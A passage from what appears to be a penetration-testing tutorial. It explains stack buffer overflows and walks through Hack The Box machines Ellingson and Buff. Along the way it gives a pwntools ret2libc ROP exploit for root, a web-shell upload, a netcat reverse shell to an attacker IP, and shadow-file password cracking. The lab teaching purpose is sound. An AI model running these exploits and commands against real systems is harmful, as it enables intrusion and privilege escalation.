information that is put on the stack when one function calls another. Before explaining this
(let us push that onto the stack for the moment - we will pop it off later), I need to also talk
about parameters are passed to functions in a 64 bit program.
When a program is compiled using a compiler like gcc, it generates machine code that will
be executed by the CPU of the computer. The machine code is organized as individual
instructions, called opcodes, that can move data in and out of memory, do comparisons,
arithmetic and many other things. To help with this, the processor uses special memory
locations called registers that can be used to store data for fast access and manipulation.
On a 64 bit Intel processor, the registers are shown in the following table.
Registers Description
hide01.ir
64-bit 32-bit 16-bit 8-bit 8-bit
RBP EBP BP N/A BPL Base Pointer (meant for stack frames)
Certain of these registers are used to point to important structures in the program like the
stack. The register rsp points to the top of the stack. As things are pushed onto the stack,
RSP (Stack Pointer) is decreased by the size of whatever has been added (remember that
the stack grows down in memory). rsp is used to add and remove things from the stack. rbp
hide01.ir
(Base Pointer) points to the bottom of the stack and is used as a reference for all of the
data stored on the stack. Pointing to a stack variable involves taking the offset of that
variable from the base pointer.
Registers are also used to carry out operations like adding two numbers. If we take the
following lines of C
1 int a = 2;
2 int b = 4;
3 int c = a + b;
1. The number 2 is moved (mov instruction) to the second 4 bytes of the stack which is
the offset of the variable a.
2. The number 4 is moved to the third 4 bytes of the stack which is the offset of the
variable b.
3. The value in variable a on the stack is moved to the register edx (which is the lower 32
bits of rdx.
4. The value in variable b on the stack is moved to the register eax (which is the lower 32
bits of rax, the accumulator register which is normally used in arithmetic operations)
5. The value in the register edx is added to the value in eax
. The contents of the eax register are moved to the fourth 4 bytes of the stack which is
the offset of the variable c.
hide01.ir
This is just a brief introduction to assembly and there are many more instructions in the
entire instruction set. This also refers to Intel x86 64 bit instructions and the registers and
instructions are different for 32 bit processors and those made by other manufacturers like
ARM.
Function Calls
In C and other languages, code can be wrapped up as a function (sometimes called a sub-
routine) which can take parameters and return a value. In order for code to jump from one
place to a function, it puts the parameters that will be passed to the function into registers
rdi,rsi,rdx,rcx,r8 and r9. If there are more than 6 parameters, the remaining ones are pushed
onto the stack in reverse order. The call instruction is used to call the function and this
instruction causes the return address of the next instruction to be executed when the call
returns to be pushed onto the stack.
On entering the called function, the current base pointer in rbp is pushed onto the stack and
then the current stack pointer rsp is moved into rbp. This sequence of instructions is called
the function prologue. The function is executed and when leaving the function epilogue is
run. This involves popping rbp, resetting the rsp to point to the top of the calling stack and
then the ret instruction causes the return address to be popped and jumped to.
Buffer Overflow
Now that we have basics covered, we can turn to a buffer overflow. Here is a simple
program (in a source file bofexample.c) that is vulnerable to a buffer overflow.
1 #include <string.h>
2 #include <stdio.h>
3 #include <stdlib.h>
4
5 void overflowed(){
6 printf("*** Success! ***\n");
7 exit(0);
8 }
9
10 void function(char *str){
11
hide01.ir
char buffer[80];
12 strcpy(buffer,str);
13 }
14
15 void main(int argc, char *argv[])
16 {
17 function(argv[1]);
18 printf("XXX Try Again XXX");
19 }
In this program, the main function gets executed and is passed a single argument that can
be accessed through argv[1]. This argument is passed to the sub-routine "function" . In
function, the argument is copied to a local buffer that is only 80 char long . This is where
the buffer can be overflowed because the program has no checks for limiting the length of
the input to this string copy function. There is another function overflowed that doesn't get
called in the code of the program.
Our task is to try and get the program to execute the function overflowed. To start with we
will "fuzz" the input to explore what happens when the buffer is overflowed. To do this, we
are going to use a debugger called gdb to see what is going on internally, but we could have
used input from the command line instead.
In preparation for this, we need to do a few things. The first is to disable the protections that
are put in place to stop buffer overflows. Address Space Layout Randomization (ASLR) is a
technique used by operating systems to randomize the addresses of code in a program
either in the program itself or in libraries that might be loaded in when the program is run.
To switch this off you need to set the content of the file
/proc/sys/kernel/randomize_va_space to 0 (it will by default be set to 2).
The next thing you need to do is compile the C code in bofexample.c with flags that switch
off other protections:
We are going to use an addition to gdb called GEF (GDB Enhanced Features). To install
that, follow the instructions in the GEF manual[1].
gdb ./bofexample
We are going to stop the debugger when it starts the code in main:
1 gef➤ b main
2 Breakpoint 1 at 0x401199: file bofexample.c, line 19.
3 You can see the code at line 19 by using the list command:
4 gef➤ list main
5 13 char buffer[80];
6 14 strcpy(buffer,str);
7 15 }
8 16
9 17 void main(int argc, char *argv[])
10 18 {
11 19 function(argv[1]);
12 20 printf("XXX Try Again XXX\n");
13 21 }
14 22
15 gef➤
We will set another breakpoint (to stop the program at a certain point) at line 14 where the
string passed into the program is copied into the buffer. To do this, use the command "b
14".
hide01.ir
Now to run the program with some text by typing the command: run "hello world"
After the code breaks at line 19, the current state of the registers and stack are displayed
along with the assembly and source code. At the top of the output , the contents of the
registers is listed. The specific register we are interested in is rsp which points to the top of
the stack and when a function returns, will point to the return address we are hoping to
overwite. The contents of the stack are shown at . The assembly is shown below that and
finally the source code.
We can step into the function with the single one single instruction command, abbreviated
to si. Repeating this, the program will enter the function and eventually get to the assembly
instruction to call the strcpy function. This function is being called with the address of the
buffer and the address of the string "hello world"
We will now run the program again, but this time with a buffer that is larger than 80 bytes.
To do this, we can use the command "pattern create 120" which will print a sequence of
characters that is a combination of non-repeating combinations of letters. Using this, if the
program crashes, we can identify at which specific characters caused the crash and what
their offset in the input was. The first step is creating the pattern:
And then running the program with that pattern of characters as input. Stepping through
the instructions until we get to the strcpy statement and then using the next command, we
return to the assembly
The first si will execute nop which is a no operation instruction, it does nothing. The leave
instruction resets the rsp to the base pointer in rbp and then pops rbp. After the leave
instruction, rsp contains the return address the program will try and jump to on executing
the ret.
However, the rsp now contains an address that points to the string
"laaaaaaamaaaaaaanaaaaaaaoaaaaaaa". If we search for the offset of this string, we find
out that it is located at byte 88.
hide01.ir
1 gef➤ pattern offset laaaaaaamaaaaaaanaaaaaaaoaaaaaaa
2 [+] Searching 'laaaaaaamaaaaaaanaaaaaaaoaaaaaaa'
3 [+] Found at offset 88 (big-endian search)
4 gef➤
Doing another si will cause the program to crash with a SIGSEGV, a segmentation fault.
The good news is that we are able to control the return address simply by adding the
address we want the program to jump to by adding that address at offset 88 in the input.
What we want to do is to jump to the address of the function overflowed. If we type
disassemble overflowed, this will show the assembly for the function with the addresses of
each instruction.
The first instruction is at the address 0x401142 (ignoring the leading zeros). So we can
construct an input string of 88 'A's and then the address \x42\x11\x40. The address is in
reverse order because the machine is "little endian" which means that addresses are listed
with their least significant bytes first. The input can be generated using the command:
We can now repeat the process of stepping through the instructions until the strcpy. This
time, after single stepping over the leave instruction, rsp is pointing to the function
overflowed
hide01.ir
0x00007fffffffded8│+0x0000: 0x0000000000401142 → <overflowed+0> push rbp ← $
The program can also be run from the command line with:
1 ┌─[rin@parrot]─[~/book]
2 └──╼ $./bofexample $(python -c "print(('A'*88) + '\x42\x11\x40')")
3 *** Success! ***
4 ┌─[rin@parrot]─[~/book]
5 └──╼ $
Obviously, this is a contrived example and things are not quite so simple when gaining
control of a real application. For a start, the objective is to run code that gives us a shell or
executes other commands the attacker supplies like launching a specific program or run a
malware implant. In order to see how this is done, we can look at a Hack The Box machine
Ellingson to show how to do what is called Return Oriented Programming (ROP) as a
means of getting a buffer overflow to execute code that the attacker controls.
hide01.ir
Exercise: Exploiting a Buffer Overflow on
Ellingson
In the Hack The Box machine Ellingson, the website has left a debugging console enabled
that can be used to execute remote commands. This allows us to write an SSH key for the
user hal and SSH onto the box as that user. Once on the box, we discover a backup of the
shadow file that hal has access to that contains passwords that can be cracked using John
The Ripper. This gives us a password for the user margo. As margo, we find a program
called garbage that is owned by root and has the setuid bit set. garbage is vulnerable to a
buffer overflow and using the Pwntools framework, we can write an exploit to do a buffer
overflow attack and get a shell as root.
An nmap scan shows that SSH (port 22) and HTTP (port 80) are running. The website is for
a company Ellingson Mineral Corp and the team information reveals a list of possible
users.
Clicking on one of the buttons to Details, we get a page that has the url
http://ellingson.htb/articles/1 . Changing the number to a high value causes an error that
causes a development page showing details of the error and a Traceback which is the list
of functions called that lead to the error (Figure 3-10). If you remember the list of the
OWASP top 10 vulnerabilities, one category was Security Misconfiguration and specifically:
hide01.ir
"Leaving debugging or development options switched on in the application". What makes
this worse is that the Werkzeug traceback interpreter allows access to a python console
Before moving onto the console, we can see from the traceback that the application is a
Flask application which is a framework for building web applications in Python. Going into
the console, we can execute bash commands using the code:
1 [console ready]
2 >>> import subprocess
3 >>> proc = subprocess.check_output('whoami',shell=True)
4 >>> print(proc.decode('iso-8859-1'))
5 hal
6 >>>
7 Doing an ls on the home directory of hal reveals an .ssh folder
8 >>> proc = subprocess.check_output('ls -al /home/hal',shell=True)
9 >>> print(proc.decode('iso-8859-1'))
10 total 36
11 drwxrwx--- 5 hal hal 4096 May 7 2019 .
12 drwxr-xr-x 6 root root 4096 Mar 9 2019 ..
13 -rw-r--r-- 1 hal hal 220 Mar 9 2019 .bash_logout
14 -rw-r--r-- 1 hal hal 3771 Mar 9 2019 .bashrc
15 drwx------ 2 hal hal 4096 Mar 10 2019 .cache
16 drwx------ 3 hal hal 4096 Mar 10 2019 .gnupg
17 -rw-r--r-- 1 hal hal 807 Mar 9 2019 .profile
18 drwx------ 2 hal hal 4096 Mar 9 2019 .ssh
19 -rw------- 1 hal hal 865 Mar 9 2019 .viminfo
20 >>>
Looking at the contents of the .ssh folder, the authorized_keys file contains public keys that
do not match the public key in the file id_rsa.pub. In any event, the id_rsa key which
hide01.ir
contains the private key you would need to use to ssh onto the machine is encrypted. The
easiest path is to produce a key yourself using ssh-keygen and add the public key in the
authorized_keys file:
On the ParrotSec machine, you can then use the private key to ssh onto the box as hal.
1 ┌─[rin@parrot]─[~/boxes/Ellingson]
2 └──╼ $ssh -i hal.key [email protected]
3 <SNIP>
4 Last login: Sun Mar 10 21:36:56 2019 from 192.168.1.211
5 hal@ellingson:~$
6 The user hal belongs to the groups hal and adm
7 hal@ellingson:~$ groups
8 hal adm
9 hal@ellingson:~$
Looking at files that the adm has access to, one stands out and that is a backup of the
shadow file which is where Linux keeps the hashed password information for users.
1 ┌─[rin@parrot]─[~/boxes/Ellingson]
2 └──╼ $scp -i hal.key [email protected]:/var/backups/shadow.bak .
In the shadow file there are entries for the users theplague, hal, margo and duke. The
hashes can be copied into a separate file for cracking with John The Ripper. Before you do
that however, you can create a custom wordlist. On the website, a note from ThePlague
suggests that the most common passwords are Love, Secret, Sex and God. So you can try
to crack the passwords just using words from rockyou.txt that have these four words as
part of them:
This returns a password iamgod$08 which can be tested for the 4 users with SSH to find
out that it works with the user margo.
As the user margo, we can start our enumeration on the box looking for paths to privilege
escalation. We cover this process in Chapter 8, but for the time being, if we run the find
command, we can look for binaries that have the SUID bit set:
margo@ellingson:~$ /usr/bin/garbage
If we run the command strings on the file to list all of the hard coded strings, part of the
output is interesting because one of the strings looks like a password:
1 /var/secret/accessfile.txt
2 user: %lu cleared to access this application
3 user: %lu not authorized to access this application
4 User is not authorized to access this application. This attempt has been l
5 error
6 Enter access password:
7 N3veRF3@r1iSh3r3!
8 access granted.
9 access denied.
It looks like the password might be N3veRF3@r1iSh3r3! And this is confirmed running the
program again and putting in the password:
1 margo@ellingson:~$ /usr/bin/garbage
2
hide01.ir
Enter access password: N3veRF3@r1iSh3r3!
3 access granted.
4 [+] W0rM || Control Application
5 [+] ---------------------------
6 Select Option
7 1: Check Balance
8 2: Launch
9 3: Cancel
10 4: Exit
11 >
It is time to copy the file back to the local box to look at it more closely. We can use scp
again to copy the file back to our box:
1 ┌─[✗]─[rin@parrot]─[~/boxes/Ellingson]
2 └──╼ $scp [email protected]:/usr/bin/garbage .
3 [email protected]'s password:
4 garbage 100% 18KB 23.3KB/s 00:00
5 ┌─[rin@parrot]─[~/boxes/Ellingson]
6 └──╼ $
We are now going to do a bit of reverse engineering using a tool called Ghidra which can be
downloaded and installed from https://ghidra-sre.org. Run Ghidra and select Import File…
from the File menu and choose the binary garbage. You will be promoted to confirm this
and the dialog will report that the garbage file is an ELF Linux binary.
hide01.ir
Go ahead and confirm until the original file dialog is shown and then double click on the
garbage file to open it for analysis. You will be asked if you want to analyze the file and so
select all options and say yes.
hide01.ir
The layout of Ghidra is a set of windows that display information about the program.
Referring to Figure 3-12, the Symbol Tree lists the functions in the program and their locally
declared variables. The assembly of the entire program is displayed in the Listing window .
Source code that is reverse engineered by Ghidra is displayed in the Decompile window .
The overall structure of the program with the different sections is shown in the Program
Trees window . Finally, the Data Types are shown in the Data Type Manager window . To
bring up the decompilation of a function, double click the function in the Symbol Tree. Note
that the assembly listing will change to the selected function.
1 void main(void)
2 {
3 ulong uVar1;
4 int local_10;
5 __uid_t local_c;
6 uVar1 = check_user();
7 local_c = (__uid_t)uVar1;
8
hide01.ir
set_username(local_c);
9 uVar1 = auth(local_c);
10 if ((int)uVar1 == 0) {
11 /* WARNING: Subroutine does not return */
12 exit(-1);
13 }
14 }
To explore this code, you can double click on the function names to display the decompiled
code of that function. The function check_user() does a getuid() to get the current user's
uid. It checks to see if that is either 0 which is root, 1000 which is theplague or 1002 which
is margo. If not, then it prints the message "User is not authorized to access this
application. This attempt has been logged." and exits. Note that it does not log the attempt.
Otherwise the function returns the user id and the function sets_username() sets the global
variable username from the user id. The next function called is auth() .
In this function, the main things to note is the gets(input_buffer) which gets the password
entered by the user and puts it in a buffer that is 100 bytes char long. This is a vulnerability
because the buffer can be overflowed by inputting a longer than 100 character string for the
password. You can confirm this yourself:
1 ┌─[rin@parrot]─[~/boxes/Ellingson]
2 └──╼ $./garbage
3 Enter access password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
4 access denied.
5 Segmentation fault
In order to get a better understanding of what is going on, we can run the program garbage
in a debugger, gdb. GDB allows us to step through code in a program and set and inspect
variables as it runs. There is a set of additional commands to GDB that can be installed
called GEF.
GEF provides some commands that are specifically designed to help with exploit
development.
1 ┌─[rin@parrot]─[~/boxes/Ellingson]
2 └──╼ $gdb garbage
hide01.ir
Once it starts, we can use the GEF command pattern create 200 to create a non-repeating
pattern of characters that we can use as input for the password. If we run the program with
the run (or just r) command in GDB, the program will prompt for a password. We can then
paste the text pattern we got from the pattern create and you should get an error of the type
segmentation fault (SIGSEGV). This fault occurs when the program can't continue to run
because it is trying to access memory or an instruction that is invalid. The error occurs in
the function auth():
The output is a little daunting but in the stack section, the first line is what has been put into
the register rsp ($rsp in GDB). rsp is the register that will hold the address that a function
will return to after it completes. This means that our input has overflowed the buffer
allocated to it and this particular pattern of text starting "raaaaaa…" has been loaded into
the rsp register and the program thinks that this is the location of a valid instruction
hide01.ir
address. When the program tries to execute this instruction, it will cause a segmentation
fault error as mentioned before. However, since we control what value gets placed in the rsp
register, we can put the address of code that we control. First, we need to know the exact
offset of the pattern that gets placed in the rsp register.
To find the offset within the pattern we created, we can use another GEF command pattern
offset, passing it the section of the pattern in rsp. This will return the offset and you will
find out that it is at position 136
We now have the essentials for a buffer overflow and can control the execution, but the
question is; what can we run? This is where Return Oriented Programming (ROP) comes in.
In ROP, we are looking for a sequence of assembly operations that will perform some
specific action ant return to the next instruction in our sequence using a ret (return)
instruction. The sequence of useful instructions, ending with a ret, is called a gadget. What
ideally we are trying to do is to call useful functions like system or execve which are C
functions that allow other commands to be run. System and execve are located in the
library libc that is almost always used by C programs. Because we are constructing a
sequence, or chain (called a ROP chain), of gadgets to run a function in libc, the attack is
also referred to as return-to-libc or ret2libc.
Before we start however, we need to check what mitigations the program is using against
buffer overflows using the checksec function in GEF
1 gef➤ checksec
2 [+] checksec for '/home/oztechmuse/boxes/Ellingson/garbage'
3 Canary : ✘
4 NX : ✓
5 PIE : ✘
6 Fortify : ✘
7 RelRO : Partial
hide01.ir
NX is enabled which means that we can't put executable code on the stack. That is ok
because we are avoiding doing that by using ROP chains instead. The Partial Relocation
Read-Only is also not an issue since this mitigates a technique that are not going to use but
I will come back to later.
The more important issue is the value for ASLR (Address Space Layout Randomization) on
the system which is a technique that attempts to make it more difficult to carry out buffer
overflows by randomizing the position in memory space of the base address of the
program, its libraries, stack and heap.
As ASLR is enabled (2) and so this means that we can't simply find the address of
assembly instructions as they are moved around in memory when the application is run.
However, in a running program, the randomization is fixed and functions are addressed as
an offset to a base address. If we are interested in functions from libc, we can find out the
offset of a known function and then calculate the relative offsets for other functions.
On your local machine, make sure that ASLR is enabled by editing the
/proc/sys/kernel/randomize_va_space as root and setting it to 2
To illustrate what this does, we will create a one line application that simply prints the
address of the puts function:
1 #include <stdio.h>
2 void main() {
3 printf("%p\n", &puts);
4 }
Here the printf statement uses the %p format character to print an address and the the
address is of the function puts (&puts).
We use the GNU C compiler, gcc to compile the source code poc.c and create a 64 bit
executable object poc u. You can see that the address changes every time it runs. Let us
change the program to show how we are going to get a base address for libc and use that
to calculate the address of other functions like system.
1 #include <stdio.h>
2 #include <stdlib.h>
3 void main() {
4 printf("puts: %p\n", &puts);
5 printf("system: %p\n", &system);
6 printf("Difference: 0x%x\n", &puts - &system);
7 }
The program does 3 printf statements to print the addresses of two libc functions, puts (4)
(which writes a string to stdout) and system (5). The third printf takes the difference
between the addresses and prints that out using the formatting character %x (6). When you
run the program poc, you will get the output:
1 ┌─[rin@parrot]─[~/boxes/Ellingson]
2 └──╼ $./poc
3 puts: 0x7fea45ef0550
4 system: 0x7fea45ec2db0
5 Difference: 0x2d7a0
hide01.ir
Remember that even though the addresses of puts and system will change every time the
program is run, the difference in the addresses will always be the same because they are
always loaded from libc at the same relative position. What we need now is the actual
offset of puts and system within libc and we can get that by using the command line
program readelf. Readelf provides information about Linux programs which are in the ELF
format. We run it with the argument -s which will get readelf to print the symbols of the
particular version of libc our program is using (2). The output from this is then passed to
the grep command to filter just the strings that contain the words system@@ and puts@@.
1 ┌─[rin@parrot]─[~/boxes/Ellingson]
2 └──╼ $readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep -E 'system@@|puts@
3 195: 0000000000076550 472 FUNC GLOBAL DEFAULT 14 _IO_puts@@GLIBC_2.2.5
4 430: 0000000000076550 472 FUNC WEAK DEFAULT 14 puts@@GLIBC_2.2.5
5 1160: 0000000000074e80 380 FUNC WEAK DEFAULT 14 fputs@@GLIBC_2.2.5
6 1430: 0000000000048db0 45 FUNC WEAK DEFAULT 14 system@@GLIBC_2.2.5
The difference between the offsets 76550 and 48DB0 is 2D7A0, the same number we got
as the difference between the addresses when the program ran. Using the offset of puts in
libc allows us to calculate the base address of libc. Getting the program to print the actual
address of a function is called "leaking the address". Using the leaked address of puts can
then be used to find the base address by simply subtracting the offset from that leaked
address.
To write the exploit code, we are going to use a Python framework called pwntools (which
can be installed from https://github.com/Gallopsled/pwntools\). The first stage is to leak
the address of puts. Unfortunately, we don't have a convenient printf statement that can do
this for us so we need to construct ROP gadgets that will do two things; the first is to load
the address of puts into the register RDI, the second is to then call the function puts. Since
the application garbage is a 64 bit program, parameters are passed to a function using a
calling convention that uses the registers RDI, RSI, RDX, RCX, R8 and R9. In this case, we are
passing the value of the address of the function puts to the function puts itself and so we
only need to use the register RDI to do that.
Another problem we have to solve is to get the address of the function puts to call. When
code is relocatable, you can't just call a function directly because the real address of this
hide01.ir
function is changed each time the application is run. Instead, to call a function, the address
of an entry in a table called the Procedure Linkage Table (PLT) is used. This then has a
pointer to an entry in the Global Offset Table (GOT) that has the real address.
In our ROP chain, if we want the real address of puts, we need the address of the puts entry
in the GOT. To actually call puts to print that leaked address, we use the address of puts in
the PLT.
To summarize, stage 1 involves leaking the address of puts by calling puts and passing the
address of puts itself in the register RDI. To load RDI with the address of puts, we can
search for assembly instructions that will do that for us followed by a ret instruction. To
load a register, we can use the assembly instruction pop rdi. A pop instruction takes the
address at the top of the stack and puts it into the specified register.
We can use the tool ropper, a program that will disassemble a program and print out
gadgets useful for buffer overflow exploits, and search for a gadget that will suit our
purposes:
1 ┌─[rin@parrot]─[~/boxes/Ellingson]
2 └──╼ $ropper -f garbage --search "pop rdi"
3 [INFO] Load gadgets from cache
4 [LOAD] loading... 100%
5 [LOAD] removing double gadgets... 100%
6 [INFO] Searching for gadgets: pop rdi
7 [INFO] File: garbage
8 0x000000000040179b: pop rdi; ret;
The address for got_puts and plt_puts is obtained by using the program objdump to
disassemble the program garbage (using the -D flag) and passing the output to grep to filter
for the word puts.
1 ┌─[rin@parrot]─[~/boxes/Ellingson]
2 └──╼ $objdump -D garbage | grep puts
3 0000000000401050 <puts@plt>:
4 401050: ff 25 d2 2f 00 00 jmpq *0x2fd2(%rip) # 404028 <puts@GLIBC_2.2.5>
Pwntools handles handling input and output to the application using a range of calls to
send and receive text. The leaked address of puts is formatted by stripping the newline
character at the end and padding the address obtained, if necessary, with zeros.
Once the leaked address is obtained, we need to stay in the program and do a second
buffer overflow, but this time invoking the system function to run a shell. The next
instruction needs to be the return address which should be that of main (the main entry
point of the program) that we can again get from objdump (note this was included in the
code above at ).
1 ┌─[rin@parrot]─[~/boxes/Ellingson]
2 └──╼ $objdump -D garbage | grep main
3 # 403ff0 <__libc_start_main@GLIBC_2.2.5>
4 401194: ff 15 56 2e 00 00 callq *0x2e56(%rip)
5 0000000000401619 <main>:
6 401644: 0f 84 e6 00 00 00 je 401730 <main+0x117>
We can add the address of main to the payload. In stage 2 of the exploit, we are going to
overflow the buffer and use the leaked address to calculate the full address of the system
function and the location of the string "/bin/sh" which is in libc. We also need another
hide01.ir
function, setuid to make sure that when the shell is run by system, it is run as root's user id
which is 0. Using readelf to get the offsets of the functions in libc:
1 ┌─[oztechmuse@parrot]─[~/boxes/Ellingson]
2 └──╼ $readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep -E 'system|setuid|
3 25: 00000000000cc0c0 144 FUNC WEAK DEFAULT 14 setuid@@GLIBC_2.2.5
4 430: 0000000000076550 472 FUNC WEAK DEFAULT 14 puts@@GLIBC_2.2.5
5 1430: 0000000000048db0 45 FUNC WEAK DEFAULT 14 system@@GLIBC_2.2.5
1 libc_puts = p64(0x76550)
2 libc_system = p64(0x48db0)
3 libc_setuid = p64(0xcc0c0)
4 libc_binsh = p64(0x18a156)
5 libc_base = u64(leaked_put) - u64(libc_puts)
6 log.info(f"libc base: 0x{libc_base.to_bytes(8, byteorder='big')[2:].hex()}
7 system_loc = (u64(libc_system) + libc_base).to_bytes(8, byteorder='little'
8 setuid_loc = (u64(libc_setuid) + libc_base).to_bytes(8, byteorder='little'
9 binsh_loc = (u64(libc_binsh) + libc_base).to_bytes(8, byteorder='little')
10 log.info(f"System: 0x{(u64(libc_system) + libc_base).to_bytes(8," \
11 "byteorder='big')[2:].hex()}")
12 log.info(f"Setuid: 0x{(u64(libc_setuid) + libc_base).to_bytes(8, "\
13 "byteorder='big')[2:].hex()}")
14 log.info(f"/bin/sh: 0x{(u64(libc_binsh) + libc_base).to_bytes(8, "\
15 "byteorder='big')[2:].hex()}")
16 gadget_setuid = pop_rdi + p64(0) + setuid_loc
17 gadget_system = pop_rdi + binsh_loc + system_loc
18 p.sendline(junk + gadget_setuid + gadget_system)
19 p.interactive()
The offsets of the functions puts, system and setuid and the string "/bin/sh" are added to
the program . The base address of libc is then calculated as the difference between the
leaked address of puts and its offset in libc . The actual addresses of system, setuid and
"/bin/sh" can then be calculated . Finally, the ROP chain is constructed and sent to the
program as input for the prompted password.
Note that to become root, the program needs to have the setuid bit set and the owner of the
program needs to be root:
The final step is to run the exploit on the Ellingson box. To do this, you need to change the
addresses from libc to the addresses of the version that is on the Ellingson machine. You
can find out what version of libc is being used on Ellingson using the ldd command:
You can then simply change the way the program is run from
p = process("./garbage")
to:
hide01.ir
1 s = ssh(host = 'ellingson.htb', user = 'margo', password = 'iamgod$08')
2 p = s.process('/usr/bin/garbage')
1 ┌─[rin@parrot]─[~/boxes/Ellingson]
2 └──╼ $python3 exploit.py
3 [+] Connecting to ellingson.htb on port 22: Done
4 [*] [email protected]:
5 Distro Ubuntu 18.04
6 OS: linux
7 Arch: amd64
8 Version: 4.15.0
9 ASLR: Enabled
10 [+] Starting remote process '/usr/bin/garbage' on ellingson.htb: pid 1416
11 [*] Leaked address: 0x7fa8c7a819c0
12 [*] libc_base: 0x7fa8c7a0d980
13 [*] System: 0x7fa8c7a50440
14 [*] Setuid: 0x7fa8c7ae6970
15 [*] /bin/sh: 0x7fa8c7bb4e9a
16 [*] Switching to interactive mode
17 access denied.
18 # $ whoami
19 root
20 # $ hostname
21 Ellingson
And that is it. Pwntools could have done a lot more for us, saving the need to find the
addresses of the functions within garbage and libc. It also has high level functions to
construct ROP chains. However, doing it manually helps understand what is going on.
The other main difference is the function calling convention. If you look at most books and
examples of buffer overflows, the claim will be made that 32 bit programs always pass
parameters to a function on the stack. Sadly, that is not the case as there are a number of
different calling conventions that different compilers use in an attempt to improve the
performance of function calls. The conventions called "cdecl" (pronounced see-dec-el) and
stdcall do put everything on the stack in reverse order to their declaration (right to left). If we
take the following code as an example:
1 #include <stdio.h>
2 void printVars(int var1, int var2) {
3 printf("The function was passed %d and %d");
4 }
5 void main() {
6 printVars(3,7);
7 }
The call to printVars from main u will be preceded with two push instructions pushing 7
and then 3 onto the stack. On a Windows machine the 32 bit assembly of this code looks
like:
The other thing that happens during the call instruction that follows the variables being
pushed onto the stack is that return address is pushed as well (4). On leaving the function
printVars, the return address will be popped from the stack and loaded into EIP and so the
hide01.ir
exploit of buffer overflows in 32 bit programs is similar to what we have already covered
with 64 bit.
We will go through this using a case study from Hack The Box called Buff.
hide01.ir
Exercise: Exploiting a Windows Buffer
Overflow on Buff
The machine Buff is a Windows box that is running a website on port 8080 that is built
using "Gym Management Software 1.0". This software has a unauthenticated remote code
execution vulnerability that can be exploited to upload a web shell. Using the web shell, we
can upload netcat onto the box and get a reverse shell as the user buff\shaun. Once on the
box, you will discover an application that is running as Administrator called
CloudMe_1112.exe. This can be exploited through a buffer overflow to get an elevated
reverse shell as Administrator.
Initial Discovery
An nmap shows three ports open: 5040, 7680 and 8080. Port 8080 has been opened by an
Apache web server that is running PHP (7.4.6). The other two ports haven't revealed
anything specific and so we can leave them for now.
Navigating to http://buff.htb:8080 you will find a web site for a Gym; mrb3n's Bro Hut.
hide01.ir
Looking through the pages, the Contact page shows that the web site was made using
"Gym Management Software 1.0". There is also a copyright notice for Projectworlds.in.
Searching for exploits related to this software, we find details of an unauthenticated exploit
on the Exploit Database (https://www.exploit-db.com/exploits/48506\) which allows for an
unauthenticated remote code execution. We can download the exploit by using searchsploit
to mirror it to the current directory using the -m flag:
hide01.ir
searchsploit -m 48506
The exploit is based on an upload function in the app that allows the upload of image files.
The PHP file upload.php does not check if the user is authenticated and does not properly
validate the uploaded file.
1 $user = $_GET['id'];
2 <SNIP>
3 move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".
4 $user.".".$ext);
Looking at the source code for upload.php, the uploaded file is first renamed v to the value
supplied as the id argument u to upload.php
It will take the extension of that file from the first bit of text it finds after the "." (2):
1 $pic=$_FILES["file"]["name"];
2 $conv=explode(".",$pic);
3 ext=$conv['1'];
It is a good idea to make a couple of changes to the exploit code. Firstly, it has been written
for Python 2 and so needs parentheses () for all of its print statements if run with Python 3.
Curiously some have parentheses, but others do not. The other thing I did was remove the
PNG magic bytes that are added to the file. These bytes won't affect the PHP code and are
used by some programs to identify the file type as a PNG file. However, the code in the Gym
Management Software does not check this so it is superfluous.
1 ┌─[rin@parrot]─[~/boxes/Buff]
2 └──╼ $python3 48506.py http://buff.htb:8080/
3 /\
4
hide01.ir
/vvvvvvvvvvvv \--------------------------------------,
5 `^^^^^^^^^^^^ /============BOKU====================="
6 \/
7 [+] Successfully connected to webshell.
8 Exiting.
9 ┌─[✗]─[rin@parrot]─[~/boxes/Buff]
10 └──╼ $curl http://buff.htb:8080/upload/kamehameha.php?\
11 telepathy=whoami
12 buff\shaun
Because curl is slightly unwieldy to use, we can send a curl request to Burp Suite, intercept
that request and send it to the Repeater (using the CTL-R key)
1 ┌─[rin@parrot]─[~/boxes/Buff]
2 └──╼ $curl -x 127.0.0.1:8080 \
3 http://buff.htb:8080/upload/kamehameha.php?telepathy=dir
In Repeater in Burp Suite, we can now get a reverse shell by uploading netcat and executing
that. You can get a Windows version of netcat from /usr/share/windows-
resources/binaries/nc.exe and copy it to your working directory. Start a Python web server
on your box:
1 ┌─[✗]─[rin@parrot]─[~/boxes/Buff]
2 └──╼ $python3 -m http.server 8000
3 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
1 ┌─[rin@parrot]─[~/boxes/Buff]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...
1 GET /upload/kamehameha.php?\
2 telepathy=nc.exe+10.10.14.137+6001+-e+powershell HTTP/1.1
3 Host: buff.htb:8080
4 User-Agent: curl/7.72.0
5 Accept: */*
6 Connection: close
1 ┌─[rin@parrot]─[~/boxes/Buff]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...
4 connect to [10.10.14.137] from (UNKNOWN) [10.129.55.153]
5 Windows PowerShell
6 Copyright (C) Microsoft Corporation. All rights reserved.
7 PS C:\xampp\htdocs\gym\upload>
We are on the box now as user buff\shaun, although this section was talking about using
custom exploits to obtain initial access, the actual buffer overflow exploit comes from the
privilege escalation step. After gaining access, we start the discovery process to find out
more about the environment, other users, configuration, software installed etc. In shaun's
home directory in Downloads, you will find a program called CloudMe_1112.exe. Looking
again at Exploit DB, we see that there is a buffer overflow vulnerability for the version 1.11.2
of CloudMe which is a file storage service (https://www.exploit-db.com/exploits/48389\).
hide01.ir
The exploit details that the CloudMe app is running on port 8888 and if we do a netstat to
look at what the machine is listening on, you will see that port 8888 is open:
We can confirm that this is opened by CloudMe by running the PowerShell command:
1 PS C:\users\shaun\downloads> Get-Process `
2 -Id (Get-NetTCPConnection -LocalPort 8888).OwningProcess
3 Get-Process -Id (Get-NetTCPConnection
